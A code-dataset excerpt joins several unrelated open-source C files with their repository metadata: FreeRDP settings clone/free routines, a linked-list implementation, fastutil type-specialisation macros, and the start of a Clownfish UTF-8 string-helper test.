(BITMAP_CACHE_V2_CELL_INFO*) malloc(sizeof( BITMAP_CACHE_V2_CELL_INFO) * 6); if (!_settings->BitmapCacheV2CellInfo) goto out_fail; CopyMemory(_settings->BitmapCacheV2CellInfo, settings->BitmapCacheV2CellInfo, sizeof(BITMAP_CACHE_V2_CELL_INFO) * 6); _settings->GlyphCache = malloc(sizeof(GLYPH_CACHE_DEFINITION) * 10); if (!_settings->GlyphCache) goto out_fail; _settings->FragCache = malloc(sizeof(GLYPH_CACHE_DEFINITION)); if (!_settings->FragCache) goto out_fail; CopyMemory(_settings->GlyphCache, settings->GlyphCache, sizeof(GLYPH_CACHE_DEFINITION) * 10); CopyMemory(_settings->FragCache, settings->FragCache, sizeof(GLYPH_CACHE_DEFINITION)); _settings->ClientAutoReconnectCookie = (ARC_CS_PRIVATE_PACKET*) malloc(sizeof( ARC_CS_PRIVATE_PACKET)); if (!_settings->ClientAutoReconnectCookie) goto out_fail; _settings->ServerAutoReconnectCookie = (ARC_SC_PRIVATE_PACKET*) malloc(sizeof( ARC_SC_PRIVATE_PACKET)); if (!_settings->ServerAutoReconnectCookie) goto out_fail; CopyMemory(_settings->ClientAutoReconnectCookie, settings->ClientAutoReconnectCookie, sizeof(ARC_CS_PRIVATE_PACKET)); CopyMemory(_settings->ServerAutoReconnectCookie, settings->ServerAutoReconnectCookie, sizeof(ARC_SC_PRIVATE_PACKET)); _settings->ClientTimeZone = (LPTIME_ZONE_INFORMATION) malloc(sizeof( TIME_ZONE_INFORMATION)); if (!_settings->ClientTimeZone) goto out_fail; CopyMemory(_settings->ClientTimeZone, settings->ClientTimeZone, sizeof(TIME_ZONE_INFORMATION)); _settings->TargetNetAddressCount = settings->TargetNetAddressCount; if (settings->TargetNetAddressCount > 0) { _settings->TargetNetAddresses = (char**) calloc(settings->TargetNetAddressCount, sizeof(char*)); if (!_settings->TargetNetAddresses) { _settings->TargetNetAddressCount = 0; goto out_fail; } for (index = 0; index < settings->TargetNetAddressCount; index++) { _settings->TargetNetAddresses[index] = _strdup( settings->TargetNetAddresses[index]); if (!_settings->TargetNetAddresses[index]) { while (index) free(_settings->TargetNetAddresses[--index]); free(_settings->TargetNetAddresses); _settings->TargetNetAddresses = NULL; _settings->TargetNetAddressCount = 0; goto out_fail; } } if (settings->TargetNetPorts) { _settings->TargetNetPorts = (UINT32*) calloc(settings->TargetNetAddressCount, sizeof(UINT32)); if (!_settings->TargetNetPorts) goto out_fail; for (index = 0; index < settings->TargetNetAddressCount; index++) _settings->TargetNetPorts[index] = settings->TargetNetPorts[index]; } } _settings->DeviceCount = settings->DeviceCount; _settings->DeviceArraySize = settings->DeviceArraySize; _settings->DeviceArray = (RDPDR_DEVICE**) calloc(_settings->DeviceArraySize, sizeof(RDPDR_DEVICE*)); if (!_settings->DeviceArray && _settings->DeviceArraySize) { _settings->DeviceCount = 0; _settings->DeviceArraySize = 0; goto out_fail; } if (_settings->DeviceArraySize < _settings->DeviceCount) { _settings->DeviceCount = 0; _settings->DeviceArraySize = 0; goto out_fail; } for (index = 0; index < _settings->DeviceCount; index++) { _settings->DeviceArray[index] = freerdp_device_clone( settings->DeviceArray[index]); if (!_settings->DeviceArray[index]) goto out_fail; } _settings->StaticChannelCount = settings->StaticChannelCount; _settings->StaticChannelArraySize = settings->StaticChannelArraySize; _settings->StaticChannelArray = (ADDIN_ARGV**) calloc( _settings->StaticChannelArraySize, sizeof(ADDIN_ARGV*)); if (!_settings->StaticChannelArray && _settings->StaticChannelArraySize) { _settings->StaticChannelArraySize = 0; _settings->ChannelCount = 0; goto out_fail; } if (_settings->StaticChannelArraySize < _settings->StaticChannelCount) { _settings->StaticChannelArraySize = 0; _settings->ChannelCount = 0; goto out_fail; } for (index = 0; index < _settings->StaticChannelCount; index++) { _settings->StaticChannelArray[index] = freerdp_static_channel_clone( settings->StaticChannelArray[index]); if (!_settings->StaticChannelArray[index]) goto out_fail; } _settings->DynamicChannelCount = settings->DynamicChannelCount; _settings->DynamicChannelArraySize = settings->DynamicChannelArraySize; _settings->DynamicChannelArray = (ADDIN_ARGV**) calloc( _settings->DynamicChannelArraySize, sizeof(ADDIN_ARGV*)); if (!_settings->DynamicChannelArray && _settings->DynamicChannelArraySize) { _settings->DynamicChannelCount = 0; _settings->DynamicChannelArraySize = 0; goto out_fail; } if (_settings->DynamicChannelArraySize < _settings->DynamicChannelCount) { _settings->DynamicChannelCount = 0; _settings->DynamicChannelArraySize = 0; goto out_fail; } for (index = 0; index < _settings->DynamicChannelCount; index++) { _settings->DynamicChannelArray[index] = freerdp_dynamic_channel_clone( settings->DynamicChannelArray[index]); if (!_settings->DynamicChannelArray[index]) goto out_fail; } _settings->SettingsModified = (BYTE*) calloc(1, sizeof(rdpSettings) / 8); if (!_settings->SettingsModified) goto out_fail; } return _settings; out_fail: /* In case any memory allocation failed during clone, some bytes might leak. * * freerdp_settings_free can't be reliable used at this point since it could * free memory of pointers copied by CopyMemory and detecting and freeing * each allocation separately is quite painful. */ free(_settings); return NULL; } void freerdp_settings_free(rdpSettings* settings) { if (!settings) return; free(settings->ServerHostname); free(settings->Username); free(settings->Password); free(settings->Domain); free(settings->PasswordHash); free(settings->AcceptedCert); free(settings->AlternateShell); free(settings->ShellWorkingDirectory); free(settings->ComputerName); free(settings->ChannelDefArray); free(settings->MonitorDefArray); free(settings->MonitorIds); free(settings->ClientAddress); free(settings->ClientDir); free(settings->AllowedTlsCiphers); free(settings->NtlmSamFile); free(settings->CertificateFile); free(settings->PrivateKeyFile); free(settings->ConnectionFile); free(settings->AssistanceFile); free(settings->ReceivedCapabilities); free(settings->OrderSupport); free(settings->ClientHostname); free(settings->ClientProductId); free(settings->ServerRandom); free(settings->ClientRandom); free(settings->ServerCertificate); free(settings->RdpKeyFile); certificate_free(settings->RdpServerCertificate); free(settings->CertificateContent); free(settings->PrivateKeyContent); free(settings->RdpKeyContent); free(settings->ClientAutoReconnectCookie); free(settings->ServerAutoReconnectCookie); free(settings->ClientTimeZone); free(settings->BitmapCacheV2CellInfo); free(settings->GlyphCache); free(settings->FragCache); key_free(settings->RdpServerRsaKey); free(settings->ConfigPath); free(settings->CurrentPath); free(settings->HomePath); free(settings->LoadBalanceInfo); free(settings->TargetNetAddress); free(settings->RedirectionTargetFQDN); free(settings->RedirectionTargetNetBiosName); free(settings->RedirectionUsername); free(settings->RedirectionDomain); free(settings->RedirectionPassword); free(settings->RedirectionTsvUrl); free(settings->RedirectionAcceptedCert); free(settings->RemoteAssistanceSessionId); free(settings->RemoteAssistancePassword); free(settings->RemoteAssistancePassStub); free(settings->RemoteAssistanceRCTicket); free(settings->AuthenticationServiceClass); free(settings->GatewayHostname); free(settings->GatewayUsername); free(settings->GatewayPassword); free(settings->GatewayDomain); free(settings->GatewayAccessToken); free(settings->GatewayAcceptedCert); free(settings->CertificateName); free(settings->DynamicDSTTimeZoneKeyName); free(settings->PreconnectionBlob); free(settings->KerberosKdc); free(settings->KerberosRealm); free(settings->DumpRemoteFxFile); free(settings->PlayRemoteFxFile); free(settings->RemoteApplicationName); free(settings->RemoteApplicationIcon); free(settings->RemoteApplicationProgram); free(settings->RemoteApplicationFile); free(settings->RemoteApplicationGuid); free(settings->RemoteApplicationCmdLine); free(settings->ImeFileName); free(settings->DrivesToRedirect); free(settings->WindowTitle); free(settings->WmClass); free(settings->ActionScript); freerdp_target_net_addresses_free(settings); freerdp_device_collection_free(settings); freerdp_static_channel_collection_free(settings); freerdp_dynamic_channel_collection_free(settings); free(settings->SettingsModified); free(settings); } #ifdef _WIN32 #pragma warning(pop) #endif
bmiklautz/debian-freerdp2
libfreerdp/core/settings.c
C
apache-2.0
41,463
#include "list.h" void __list_add__(list_node_t *prev, list_node_t *next, list_node_t *node) { next->prev = node; node->next = next; node->prev = prev; prev->next = node; } void __list_del__(list_node_t *prev, list_node_t *next) { next->prev = prev; prev->next = next; } void __list_erase__(list_t *list, list_node_t *node) { list_iter_t next, prev; if (list_is_singular(*list)) { list->head = list->tail = NULL; } else { next = node->next; prev = node->prev; __list_del__(node->prev, node->next); list->head = list->head == node ? next : list->head; list->tail = list->tail == node ? prev : list->tail; } node->prev = NULL; node->next = NULL; } void __list_replace__(list_node_t *o, list_node_t *n) { n->next = o->next; n->next->prev = n; n->prev = o->prev; n->prev->next = n; } void __list_push_back__(list_t *list, list_node_t *node) { if (list->head) { __list_add__(list->head->prev, list->head, node); list->tail = node; } else { list->head = list->tail = node->next = node->prev = node; } } void __list_push_front__(list_t *list, list_node_t *node) { if (list->head) { __list_add__(list->head->prev, list->head, node); list->head = node; } else { list->head = list->tail = node->next = node->prev = node; } }
veficos/occ
src/list.c
C
apache-2.0
1,500
/* Generic definitions */ #define Custom #define PACKAGE it.unimi.dsi.fastutil.shorts #define VALUE_PACKAGE it.unimi.dsi.fastutil.floats /* Assertions (useful to generate conditional code) */ #unassert keyclass #assert keyclass(Short) #unassert keys #assert keys(primitive) #unassert valueclass #assert valueclass(Float) #unassert values #assert values(primitive) /* Current type and class (and size, if applicable) */ #define KEY_TYPE short #define VALUE_TYPE float #define KEY_CLASS Short #define VALUE_CLASS Float #if #keyclass(Object) || #keyclass(Reference) #define KEY_GENERIC_CLASS K #define KEY_GENERIC_TYPE K #define KEY_GENERIC <K> #define KEY_GENERIC_WILDCARD <?> #define KEY_EXTENDS_GENERIC <? extends K> #define KEY_SUPER_GENERIC <? super K> #define KEY_GENERIC_CAST (K) #define KEY_GENERIC_ARRAY_CAST (K[]) #define KEY_GENERIC_BIG_ARRAY_CAST (K[][]) #else #define KEY_GENERIC_CLASS KEY_CLASS #define KEY_GENERIC_TYPE KEY_TYPE #define KEY_GENERIC #define KEY_GENERIC_WILDCARD #define KEY_EXTENDS_GENERIC #define KEY_SUPER_GENERIC #define KEY_GENERIC_CAST #define KEY_GENERIC_ARRAY_CAST #define KEY_GENERIC_BIG_ARRAY_CAST #endif #if #valueclass(Object) || #valueclass(Reference) #define VALUE_GENERIC_CLASS V #define VALUE_GENERIC_TYPE V #define VALUE_GENERIC <V> #define VALUE_EXTENDS_GENERIC <? extends V> #define VALUE_GENERIC_CAST (V) #define VALUE_GENERIC_ARRAY_CAST (V[]) #else #define VALUE_GENERIC_CLASS VALUE_CLASS #define VALUE_GENERIC_TYPE VALUE_TYPE #define VALUE_GENERIC #define VALUE_EXTENDS_GENERIC #define VALUE_GENERIC_CAST #define VALUE_GENERIC_ARRAY_CAST #endif #if #keyclass(Object) || #keyclass(Reference) #if #valueclass(Object) || #valueclass(Reference) #define KEY_VALUE_GENERIC <K,V> #define KEY_VALUE_EXTENDS_GENERIC <? extends K, ? extends V> #else #define KEY_VALUE_GENERIC <K> #define KEY_VALUE_EXTENDS_GENERIC <? extends K> #endif #else #if #valueclass(Object) || #valueclass(Reference) #define KEY_VALUE_GENERIC <V> #define KEY_VALUE_EXTENDS_GENERIC <? extends V> #else #define KEY_VALUE_GENERIC #define KEY_VALUE_EXTENDS_GENERIC #endif #endif /* Value methods */ #define KEY_VALUE shortValue #define VALUE_VALUE floatValue /* Interfaces (keys) */ #define COLLECTION ShortCollection #define SET ShortSet #define HASH ShortHash #define SORTED_SET ShortSortedSet #define STD_SORTED_SET ShortSortedSet #define FUNCTION Short2FloatFunction #define MAP Short2FloatMap #define SORTED_MAP Short2FloatSortedMap #if #keyclass(Object) || #keyclass(Reference) #define STD_SORTED_MAP SortedMap #define STRATEGY Strategy #else #define STD_SORTED_MAP Short2FloatSortedMap #define STRATEGY PACKAGE.ShortHash.Strategy #endif #define LIST ShortList #define BIG_LIST ShortBigList #define STACK ShortStack #define PRIORITY_QUEUE ShortPriorityQueue #define INDIRECT_PRIORITY_QUEUE ShortIndirectPriorityQueue #define INDIRECT_DOUBLE_PRIORITY_QUEUE ShortIndirectDoublePriorityQueue #define KEY_ITERATOR ShortIterator #define KEY_ITERABLE ShortIterable #define KEY_BIDI_ITERATOR ShortBidirectionalIterator #define KEY_LIST_ITERATOR ShortListIterator #define KEY_BIG_LIST_ITERATOR ShortBigListIterator #define STD_KEY_ITERATOR ShortIterator #define KEY_COMPARATOR ShortComparator /* Interfaces (values) */ #define VALUE_COLLECTION FloatCollection #define VALUE_ARRAY_SET FloatArraySet #define VALUE_ITERATOR FloatIterator #define VALUE_LIST_ITERATOR FloatListIterator /* Abstract implementations (keys) */ #define ABSTRACT_COLLECTION AbstractShortCollection #define ABSTRACT_SET AbstractShortSet #define ABSTRACT_SORTED_SET AbstractShortSortedSet #define ABSTRACT_FUNCTION AbstractShort2FloatFunction #define ABSTRACT_MAP AbstractShort2FloatMap #define ABSTRACT_FUNCTION AbstractShort2FloatFunction #define ABSTRACT_SORTED_MAP AbstractShort2FloatSortedMap #define ABSTRACT_LIST AbstractShortList #define ABSTRACT_BIG_LIST AbstractShortBigList #define SUBLIST ShortSubList #define ABSTRACT_PRIORITY_QUEUE AbstractShortPriorityQueue #define ABSTRACT_STACK AbstractShortStack #define KEY_ABSTRACT_ITERATOR AbstractShortIterator #define KEY_ABSTRACT_BIDI_ITERATOR AbstractShortBidirectionalIterator #define KEY_ABSTRACT_LIST_ITERATOR AbstractShortListIterator #define KEY_ABSTRACT_BIG_LIST_ITERATOR AbstractShortBigListIterator #if #keyclass(Object) #define KEY_ABSTRACT_COMPARATOR Comparator #else #define KEY_ABSTRACT_COMPARATOR AbstractShortComparator #endif /* Abstract implementations (values) */ #define VALUE_ABSTRACT_COLLECTION AbstractFloatCollection #define VALUE_ABSTRACT_ITERATOR AbstractFloatIterator #define VALUE_ABSTRACT_BIDI_ITERATOR AbstractFloatBidirectionalIterator /* Static containers (keys) */ #define COLLECTIONS ShortCollections #define SETS ShortSets #define SORTED_SETS ShortSortedSets #define LISTS ShortLists #define BIG_LISTS ShortBigLists #define MAPS Short2FloatMaps #define FUNCTIONS Short2FloatFunctions #define SORTED_MAPS Short2FloatSortedMaps #define PRIORITY_QUEUES ShortPriorityQueues #define HEAPS ShortHeaps #define SEMI_INDIRECT_HEAPS ShortSemiIndirectHeaps #define INDIRECT_HEAPS ShortIndirectHeaps #define ARRAYS ShortArrays #define BIG_ARRAYS ShortBigArrays #define ITERATORS ShortIterators #define BIG_LIST_ITERATORS ShortBigListIterators #define COMPARATORS ShortComparators /* Static containers (values) */ #define VALUE_COLLECTIONS FloatCollections #define VALUE_SETS FloatSets #define VALUE_ARRAYS FloatArrays /* Implementations */ #define OPEN_HASH_SET ShortOpenCustomHashSet #define OPEN_HASH_BIG_SET ShortOpenCustomHashBigSet #define OPEN_DOUBLE_HASH_SET ShortOpenCustomDoubleHashSet #define OPEN_HASH_MAP Short2FloatOpenCustomHashMap #define STRIPED_OPEN_HASH_MAP StripedShort2FloatOpenCustomHashMap #define OPEN_DOUBLE_HASH_MAP Short2FloatOpenCustomDoubleHashMap #define ARRAY_SET ShortArraySet #define ARRAY_MAP Short2FloatArrayMap #define LINKED_OPEN_HASH_SET ShortLinkedOpenHashSet #define AVL_TREE_SET ShortAVLTreeSet #define RB_TREE_SET ShortRBTreeSet #define AVL_TREE_MAP Short2FloatAVLTreeMap #define RB_TREE_MAP Short2FloatRBTreeMap #define ARRAY_LIST ShortArrayList #define BIG_ARRAY_BIG_LIST ShortBigArrayBigList #define ARRAY_FRONT_CODED_LIST ShortArrayFrontCodedList #define HEAP_PRIORITY_QUEUE ShortHeapPriorityQueue #define HEAP_SEMI_INDIRECT_PRIORITY_QUEUE ShortHeapSemiIndirectPriorityQueue #define HEAP_INDIRECT_PRIORITY_QUEUE ShortHeapIndirectPriorityQueue #define HEAP_SESQUI_INDIRECT_DOUBLE_PRIORITY_QUEUE ShortHeapSesquiIndirectDoublePriorityQueue #define HEAP_INDIRECT_DOUBLE_PRIORITY_QUEUE ShortHeapIndirectDoublePriorityQueue #define ARRAY_FIFO_QUEUE ShortArrayFIFOQueue #define ARRAY_PRIORITY_QUEUE ShortArrayPriorityQueue #define ARRAY_INDIRECT_PRIORITY_QUEUE ShortArrayIndirectPriorityQueue #define ARRAY_INDIRECT_DOUBLE_PRIORITY_QUEUE ShortArrayIndirectDoublePriorityQueue /* Synchronized wrappers */ #define SYNCHRONIZED_COLLECTION SynchronizedShortCollection #define SYNCHRONIZED_SET SynchronizedShortSet #define SYNCHRONIZED_SORTED_SET SynchronizedShortSortedSet #define SYNCHRONIZED_FUNCTION SynchronizedShort2FloatFunction #define SYNCHRONIZED_MAP SynchronizedShort2FloatMap #define SYNCHRONIZED_LIST SynchronizedShortList /* Unmodifiable wrappers */ #define UNMODIFIABLE_COLLECTION UnmodifiableShortCollection #define UNMODIFIABLE_SET UnmodifiableShortSet #define UNMODIFIABLE_SORTED_SET UnmodifiableShortSortedSet #define UNMODIFIABLE_FUNCTION UnmodifiableShort2FloatFunction #define UNMODIFIABLE_MAP UnmodifiableShort2FloatMap #define UNMODIFIABLE_LIST UnmodifiableShortList #define UNMODIFIABLE_KEY_ITERATOR UnmodifiableShortIterator #define UNMODIFIABLE_KEY_BIDI_ITERATOR UnmodifiableShortBidirectionalIterator #define UNMODIFIABLE_KEY_LIST_ITERATOR UnmodifiableShortListIterator /* Other wrappers */ #define KEY_READER_WRAPPER ShortReaderWrapper #define KEY_DATA_INPUT_WRAPPER ShortDataInputWrapper /* Methods (keys) */ #define NEXT_KEY nextShort #define PREV_KEY previousShort #define FIRST_KEY firstShortKey #define LAST_KEY lastShortKey #define GET_KEY getShort #define REMOVE_KEY removeShort #define READ_KEY readShort #define WRITE_KEY writeShort #define DEQUEUE dequeueShort #define DEQUEUE_LAST dequeueLastShort #define SUBLIST_METHOD shortSubList #define SINGLETON_METHOD shortSingleton #define FIRST firstShort #define LAST lastShort #define TOP topShort #define PEEK peekShort #define POP popShort #define KEY_ITERATOR_METHOD shortIterator #define KEY_LIST_ITERATOR_METHOD shortListIterator #define KEY_EMPTY_ITERATOR_METHOD emptyShortIterator #define AS_KEY_ITERATOR asShortIterator #define TO_KEY_ARRAY toShortArray #define ENTRY_GET_KEY getShortKey #define REMOVE_FIRST_KEY removeFirstShort #define REMOVE_LAST_KEY removeLastShort #define PARSE_KEY parseShort #define LOAD_KEYS loadShorts #define LOAD_KEYS_BIG loadShortsBig #define STORE_KEYS storeShorts /* Methods (values) */ #define NEXT_VALUE nextFloat #define PREV_VALUE previousFloat #define READ_VALUE readFloat #define WRITE_VALUE writeFloat #define VALUE_ITERATOR_METHOD floatIterator #define ENTRY_GET_VALUE getFloatValue #define REMOVE_FIRST_VALUE removeFirstFloat #define REMOVE_LAST_VALUE removeLastFloat /* Methods (keys/values) */ #define ENTRYSET short2FloatEntrySet /* Methods that have special names depending on keys (but the special names depend on values) */ #if #keyclass(Object) || #keyclass(Reference) #define GET_VALUE getFloat #define REMOVE_VALUE removeFloat #else #define GET_VALUE get #define REMOVE_VALUE remove #endif /* Equality */ #ifdef Custom #define KEY_EQUALS(x,y) ( strategy.equals( (x), KEY_GENERIC_CAST (y) ) ) #else #if #keyclass(Object) #define KEY_EQUALS(x,y) ( (x) == null ? (y) == null : (x).equals(y) ) #define KEY_EQUALS_NOT_NULL(x,y) ( (x).equals(y) ) #else #define KEY_EQUALS(x,y) ( (x) == (y) ) #define KEY_EQUALS_NOT_NULL(x,y) ( (x) == (y) ) #endif #endif #if #valueclass(Object) #define VALUE_EQUALS(x,y) ( (x) == null ? (y) == null : (x).equals(y) ) #else #define VALUE_EQUALS(x,y) ( (x) == (y) ) #endif /* Object/Reference-only definitions (keys) */ #if #keyclass(Object) || #keyclass(Reference) #define REMOVE remove #define KEY_OBJ2TYPE(x) (x) #define KEY_CLASS2TYPE(x) (x) #define KEY2OBJ(x) (x) #if #keyclass(Object) #ifdef Custom #define KEY2JAVAHASH(x) ( strategy.hashCode( KEY_GENERIC_CAST (x)) ) #define KEY2INTHASH(x) ( it.unimi.dsi.fastutil.HashCommon.murmurHash3( strategy.hashCode( KEY_GENERIC_CAST (x)) ) ) #define KEY2LONGHASH(x) ( it.unimi.dsi.fastutil.HashCommon.murmurHash3( (long)strategy.hashCode( KEY_GENERIC_CAST (x)) ) ) #else #define KEY2JAVAHASH(x) ( (x) == null ? 0 : (x).hashCode() ) #define KEY2INTHASH(x) ( (x) == null ? 0x87fcd5c : it.unimi.dsi.fastutil.HashCommon.murmurHash3( (x).hashCode() ) ) #define KEY2LONGHASH(x) ( (x) == null ? 0x810879608e4259ccL : it.unimi.dsi.fastutil.HashCommon.murmurHash3( (long)(x).hashCode() ) ) #endif #else #define KEY2JAVAHASH(x) ( (x) == null ? 0 : System.identityHashCode(x) ) #define KEY2INTHASH(x) ( (x) == null ? 0x87fcd5c : it.unimi.dsi.fastutil.HashCommon.murmurHash3( System.identityHashCode(x) ) ) #define KEY2LONGHASH(x) ( (x) == null ? 0x810879608e4259ccL : it.unimi.dsi.fastutil.HashCommon.murmurHash3( (long)System.identityHashCode(x) ) ) #endif #define KEY_CMP(x,y) ( ((Comparable<KEY_GENERIC_CLASS>)(x)).compareTo(y) ) #define KEY_CMP_EQ(x,y) ( ((Comparable<KEY_GENERIC_CLASS>)(x)).compareTo(y) == 0 ) #define KEY_LESS(x,y) ( ((Comparable<KEY_GENERIC_CLASS>)(x)).compareTo(y) < 0 ) #define KEY_LESSEQ(x,y) ( ((Comparable<KEY_GENERIC_CLASS>)(x)).compareTo(y) <= 0 ) #define KEY_NULL (null) #else /* Primitive-type-only definitions (keys) */ #define REMOVE rem #define KEY_CLASS2TYPE(x) ((x).KEY_VALUE()) #define KEY_OBJ2TYPE(x) (KEY_CLASS2TYPE((KEY_CLASS)(x))) #define KEY2OBJ(x) (KEY_CLASS.valueOf(x)) #if #keyclass(Boolean) #define KEY_CMP_EQ(x,y) ( (x) == (y) ) #define KEY_NULL (false) #define KEY_CMP(x,y) ( !(x) && (y) ? -1 : ( (x) == (y) ? 0 : 1 ) ) #define KEY_LESS(x,y) ( !(x) && (y) ) #define KEY_LESSEQ(x,y) ( !(x) || (y) ) #else #define KEY_NULL ((KEY_TYPE)0) #if #keyclass(Float) || #keyclass(Double) #define KEY_CMP_EQ(x,y) ( KEY_CLASS.compare((x),(y)) == 0 ) #define KEY_CMP(x,y) ( KEY_CLASS.compare((x),(y)) ) #define KEY_LESS(x,y) ( KEY_CLASS.compare((x),(y)) < 0 ) #define KEY_LESSEQ(x,y) ( KEY_CLASS.compare((x),(y)) <= 0 ) #else #define KEY_CMP_EQ(x,y) ( (x) == (y) ) #define KEY_CMP(x,y) ( (x) < (y) ? -1 : ( (x) == (y) ? 0 : 1 ) ) #define KEY_LESS(x,y) ( (x) < (y) ) #define KEY_LESSEQ(x,y) ( (x) <= (y) ) #endif #if #keyclass(Float) #define KEY2LEXINT(x) fixFloat(x) #elif #keyclass(Double) #define KEY2LEXINT(x) fixDouble(x) #else #define KEY2LEXINT(x) (x) #endif #endif #ifdef Custom #define KEY2JAVAHASH(x) ( strategy.hashCode(x) ) #define KEY2INTHASH(x) ( it.unimi.dsi.fastutil.HashCommon.murmurHash3( strategy.hashCode(x) ) ) #define KEY2LONGHASH(x) ( it.unimi.dsi.fastutil.HashCommon.murmurHash3( (long)strategy.hashCode(x) ) ) #else #if #keyclass(Float) #define KEY2JAVAHASH(x) it.unimi.dsi.fastutil.HashCommon.float2int(x) #define KEY2INTHASH(x) it.unimi.dsi.fastutil.HashCommon.murmurHash3( it.unimi.dsi.fastutil.HashCommon.float2int(x) ) #define KEY2LONGHASH(x) it.unimi.dsi.fastutil.HashCommon.murmurHash3( (long)it.unimi.dsi.fastutil.HashCommon.float2int(x) ) #elif #keyclass(Double) #define KEY2JAVAHASH(x) it.unimi.dsi.fastutil.HashCommon.double2int(x) #define KEY2INTHASH(x) (int)it.unimi.dsi.fastutil.HashCommon.murmurHash3(Double.doubleToRawLongBits(x)) #define KEY2LONGHASH(x) it.unimi.dsi.fastutil.HashCommon.murmurHash3(Double.doubleToRawLongBits(x)) #elif #keyclass(Long) #define KEY2JAVAHASH(x) it.unimi.dsi.fastutil.HashCommon.long2int(x) #define KEY2INTHASH(x) (int)it.unimi.dsi.fastutil.HashCommon.murmurHash3(x) #define KEY2LONGHASH(x) it.unimi.dsi.fastutil.HashCommon.murmurHash3(x) #elif #keyclass(Boolean) #define KEY2JAVAHASH(x) ((x) ? 1231 : 1237) #define KEY2INTHASH(x) ((x) ? 0xfab5368 : 0xcba05e7b) #define KEY2LONGHASH(x) ((x) ? 0x74a19fc8b6428188L : 0xbaeca2031a4fd9ecL) #else #define KEY2JAVAHASH(x) (x) #define KEY2INTHASH(x) ( it.unimi.dsi.fastutil.HashCommon.murmurHash3( (x) ) ) #define KEY2LONGHASH(x) ( it.unimi.dsi.fastutil.HashCommon.murmurHash3( (long)(x) ) ) #endif #endif #endif /* Object/Reference-only definitions (values) */ #if #valueclass(Object) || #valueclass(Reference) #define VALUE_OBJ2TYPE(x) (x) #define VALUE_CLASS2TYPE(x) (x) #define VALUE2OBJ(x) (x) #if #valueclass(Object) #define VALUE2JAVAHASH(x) ( (x) == null ? 0 : (x).hashCode() ) #else #define VALUE2JAVAHASH(x) ( (x) == null ? 0 : System.identityHashCode(x) ) #endif #define VALUE_NULL (null) #define OBJECT_DEFAULT_RETURN_VALUE (this.defRetValue) #else /* Primitive-type-only definitions (values) */ #define VALUE_CLASS2TYPE(x) ((x).VALUE_VALUE()) #define VALUE_OBJ2TYPE(x) (VALUE_CLASS2TYPE((VALUE_CLASS)(x))) #define VALUE2OBJ(x) (VALUE_CLASS.valueOf(x)) #if #valueclass(Float) || #valueclass(Double) || #valueclass(Long) #define VALUE_NULL (0) #define VALUE2JAVAHASH(x) it.unimi.dsi.fastutil.HashCommon.float2int(x) #elif #valueclass(Boolean) #define VALUE_NULL (false) #define VALUE2JAVAHASH(x) (x ? 1231 : 1237) #else #if #valueclass(Integer) #define VALUE_NULL (0) #else #define VALUE_NULL ((VALUE_TYPE)0) #endif #define VALUE2JAVAHASH(x) (x) #endif #define OBJECT_DEFAULT_RETURN_VALUE (null) #endif #include "drv/OpenCustomHashMap.drv"
karussell/fastutil
src/it/unimi/dsi/fastutil/shorts/Short2FloatOpenCustomHashMap.c
C
apache-2.0
15,409
/* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <string.h> #define CFISH_USE_SHORT_NAMES #define TESTCFISH_USE_SHORT_NAMES #include "Clownfish/Test/Util/TestStringHelper.h" #include "Clownfish/String.h" #include "Clownfish/Err.h" #include "Clownfish/Test.h" #include "Clownfish/TestHarness/TestBatchRunner.h" #include "Clownfish/Util/StringHelper.h" #include "Clownfish/Class.h" /* This alternative implementation of utf8_valid() is (presumably) slower, but * it implements the standard in a more linear, easy-to-grok way. */ #define TRAIL_OK(n) (n >= 0x80 && n <= 0xBF) TestStringHelper* TestStrHelp_new() { return (TestStringHelper*)Class_Make_Obj(TESTSTRINGHELPER); } static bool S_utf8_valid_alt(const char *maybe_utf8, size_t size) { const uint8_t *string = (const uint8_t*)maybe_utf8; const uint8_t *const end = string + size; while (string < end) { int count = StrHelp_UTF8_COUNT[*string]; bool valid = false; if (count == 1) { if (string[0] <= 0x7F) { valid = true; } } else if (count == 2) { if (string[0] >= 0xC2 && string[0] <= 0xDF) { if (TRAIL_OK(string[1])) { valid = true; } } } else if (count == 3) { if (string[0] == 0xE0) { if (string[1] >= 0xA0 && string[1] <= 0xBF && TRAIL_OK(string[2]) ) { valid = true; } } else if (string[0] >= 0xE1 && string[0] <= 0xEC) { if (TRAIL_OK(string[1]) && TRAIL_OK(string[2]) ) { valid = true; } } else if (string[0] == 0xED) { if (string[1] >= 0x80 && string[1] <= 0x9F && TRAIL_OK(string[2]) ) { valid = true; } } else if (string[0] >= 0xEE && string[0] <= 0xEF) { if (TRAIL_OK(string[1]) && TRAIL_OK(string[2]) ) { valid = true; } } } else if (count == 4) { if (string[0] == 0xF0) { if (string[1] >= 0x90 && string[1] <= 0xBF && TRAIL_OK(string[2]) && TRAIL_OK(string[3]) ) { valid = true; } } else if (string[0] >= 0xF1 && string[0] <= 0xF3) { if (TRAIL_OK(string[1]) && TRAIL_OK(string[2]) && TRAIL_OK(string[3]) ) { valid = true; } } else if (string[0] == 0xF4) { if (string[1] >= 0x80 && string[1] <= 0x8F && TRAIL_OK(string[2]) && TRAIL_OK(string[3]) ) { valid = true; } } } if (!valid) { return false; } string += count; } if (string != end) { return false; } return true; } static void test_overlap(TestBatchRunner *runner) { size_t result; result = StrHelp_overlap("", "", 0, 0); TEST_INT_EQ(runner, result, 0, "two empty strings"); result = StrHelp_overlap("", "foo", 0, 3); TEST_INT_EQ(runner, result, 0, "first string is empty"); result = StrHelp_overlap("foo", "", 3, 0); TEST_INT_EQ(runner, result, 0, "second string is empty"); result = StrHelp_overlap("foo", "foo", 3, 3); TEST_INT_EQ(runner, result, 3, "equal strings"); result = StrHelp_overlap("foo bar", "foo", 7, 3); TEST_INT_EQ(runner, result, 3, "first string is longer"); result = StrHelp_overlap("foo", "foo bar", 3, 7); TEST_INT_EQ(runner, result, 3, "second string is longer"); } static void test_to_base36(TestBatchRunner *runner) { char buffer[StrHelp_MAX_BASE36_BYTES]; StrHelp_to_base36(UINT64_MAX, buffer); TEST_STR_EQ(runner, "3w5e11264sgsf", buffer, "base36 UINT64_MAX"); StrHelp_to_base36(1, buffer); TEST_STR_EQ(runner, "1", buffer, 